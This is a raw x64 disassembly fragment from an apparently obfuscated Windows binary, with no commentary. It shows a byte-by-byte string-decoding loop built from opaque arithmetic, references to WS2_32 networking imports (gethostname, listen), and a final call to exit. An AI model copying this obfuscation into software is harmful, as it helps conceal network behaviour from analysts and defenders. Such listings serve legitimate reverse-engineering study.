add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x28
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400eae45
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400eb776
movabs rdx, 0xef98947a32b916d0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb98e
cmp r8, rcx
jne 0x1400eb7a0
movabs rcx, 0x4bf0f85135075208
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x38
jmp 0x1400eb88b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400eb2bc
movabs rdx, 0x4a1bfff39a3c878
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x48
jmp 0x1400eb914
movabs rcx, 0x60fa23d63bf203b0
add rcx, r11
movzx eax, r10b
and al, cl
mov edx, Ordinal_26
sub dl, al
lea esi, [rdx + rdx]
add sil, r10b
add sil, cl
add sil, r10b
jmp 0x1400eb86a
movabs rdx, 0x8f2655c1bd19214c
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, r10b
sub sil, 0x14
jmp 0x1400eb98e
movabs rdx, 0xa8056999542c862a
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x26
jmp 0x1400eb98e
movabs rdx, 0x1d80d3d6d0b72d56
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x5a
add sil, dl
lea ecx, [r11 + 0x7e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x72
add r10b, sil
add r10b, cl
mov byte [rbp + r11 + 0x2a0], r10b
add r8, r9
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400eae45
movabs rcx, 0xef54a1eb4f900fba
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x16
dec r11
inc r11
jmp 0x1400eae45
movabs rdx, 0x92fc3e144d41d482
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
jmp 0x1400eb914
movabs rdx, 0x36a3da3d4af3994a
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 6
add sil, dl
lea ecx, [r11 - 0x1e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x2e
add r10b, cl
mov byte [rbp + r11 + 0x2a0], r10b
inc r9
dec r11
inc r11
jmp 0x1400eae45
movabs rcx, 0xda4b766648a55e12
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x7e
dec r11
inc r11
jmp 0x1400eae45
movabs rdx, 0x219aaeb84408e7a2
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x6e
add sil, dl
lea edx, [r11 + 0x1a]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x2a0], al
inc r9
add rax, r9
sub r11, rax
jmp 0x1400eb9e2
movabs rdx, 0xf36e7cccc2e1ca06
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx esi, r10b
sub sil, al
sub sil, 0x2a
add sil, dl
lea ecx, [r11 - 0x18]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, cl
mov byte [rbp + r11 + 0x2a0], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400eae45
movabs rdx, 0xc5424ae141baac6a
mov ecx, reloc.WS2_32.dll_listen
add rdx, r11
movzx eax, r10b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r9
add r11, rax
inc r11
jmp 0x1400eae45
movabs rcx, 0x7e7af7ad0ca93106
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea esi, [rcx + r10]
sub sil, 0x2a
jmp 0x1400eae40
movabs rdx, 0x504ec5c18b82136a
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, dl
jmp 0x1400eae30
lea rdi, [rbp + 0x163f508]
jmp 0x1400ebac7
lea rdi, [rbp + 0x13783d6]
jmp 0x1400ebac7
lea rdi, [rbp + 0x2a0]
movzx edx, bl
lea rcx, [rbp + 0x190]
call fcn.140020ed0
nop
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdi + r8], 0
jne 0x1400ebae0
mov rdx, rdi
lea rcx, [rbp + 0x190]
call fcn.140020ef0
nop
lea rcx, [rbp + 0x190]
call fcn.1400d3fe0
movzx edi, al
lea rcx, [rbp + 0x190]
call fcn.140020e70
test dil, dil
movabs rdi, 0xaca729988dd04ea2
jne 0x1400ead56
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3